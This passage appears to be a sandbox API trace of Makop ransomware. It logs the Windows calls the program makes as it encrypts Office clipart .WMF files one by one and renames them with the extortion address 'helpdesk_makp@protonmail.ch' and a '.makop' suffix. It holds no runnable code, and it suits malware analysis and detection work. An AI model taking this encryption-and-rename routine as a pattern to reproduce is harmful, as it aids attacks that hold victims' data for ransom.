office\\clipart\\pub60cor\\sy00642_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.157] CloseHandle (hObject=0xf0) returned 1 [0153.157] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1 [0153.158] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF") returned 63 [0153.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.159] GetProcessHeap () returned 0x48a0000 [0153.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.159] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.165] GetProcessHeap () returned 0x48a0000 [0153.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.166] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.166] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2094, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2094, lpOverlapped=0x0) returned 1 [0153.168] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20a0, dwBufLen=0x20a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20a0) returned 1 [0153.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20a0, lpOverlapped=0x0) returned 1 [0153.168] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.169] SetEndOfFile (hFile=0xf0) returned 1 [0153.176] GetProcessHeap () returned 0x48a0000 [0153.176] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.176] GetProcessHeap () returned 0x48a0000 [0153.177] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.177] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.178] CloseHandle (hObject=0xf0) returned 1 [0153.179] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1 [0153.180] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF") returned 63 [0153.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.181] GetProcessHeap () returned 0x48a0000 [0153.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.181] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.186] GetProcessHeap () returned 0x48a0000 [0153.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.186] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.188] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.188] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.188] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2fdc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2fdc, lpOverlapped=0x0) returned 1 [0153.190] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fe0) returned 1 [0153.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2fe0, lpOverlapped=0x0) returned 1 [0153.191] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.191] SetEndOfFile (hFile=0xf0) returned 1 [0153.197] GetProcessHeap () returned 0x48a0000 [0153.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.198] GetProcessHeap () returned 0x48a0000 [0153.198] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.198] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.200] CloseHandle (hObject=0xf0) returned 1 [0153.200] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1 [0153.200] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF") returned 63 [0153.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.201] GetProcessHeap () returned 0x48a0000 [0153.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.202] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.207] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.207] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.207] GetProcessHeap () returned 0x48a0000 [0153.207] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.207] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.207] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.208] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.208] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.208] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.208] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.208] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.209] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.209] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.209] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2764, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2764, lpOverlapped=0x0) returned 1 [0153.211] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2770, dwBufLen=0x2770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2770) returned 1 [0153.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.211] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2770, lpOverlapped=0x0) returned 1 [0153.211] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.211] SetEndOfFile (hFile=0xf0) returned 1 [0153.218] GetProcessHeap () returned 0x48a0000 [0153.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.218] GetProcessHeap () returned 0x48a0000 [0153.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.218] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.222] CloseHandle (hObject=0xf0) returned 1 [0153.222] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1 [0153.222] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF") returned 63 [0153.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.225] GetProcessHeap () returned 0x48a0000 [0153.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.225] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.225] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.225] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.225] GetProcessHeap () returned 0x48a0000 [0153.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.225] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.226] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.226] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.230] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.231] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.231] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.231] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.231] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9b0, lpOverlapped=0x0) returned 1 [0153.231] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9b0) returned 1 [0153.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9b0, lpOverlapped=0x0) returned 1 [0153.232] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.232] SetEndOfFile (hFile=0xf0) returned 1 [0153.239] GetProcessHeap () returned 0x48a0000 [0153.239] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.239] GetProcessHeap () returned 0x48a0000 [0153.239] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.239] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: 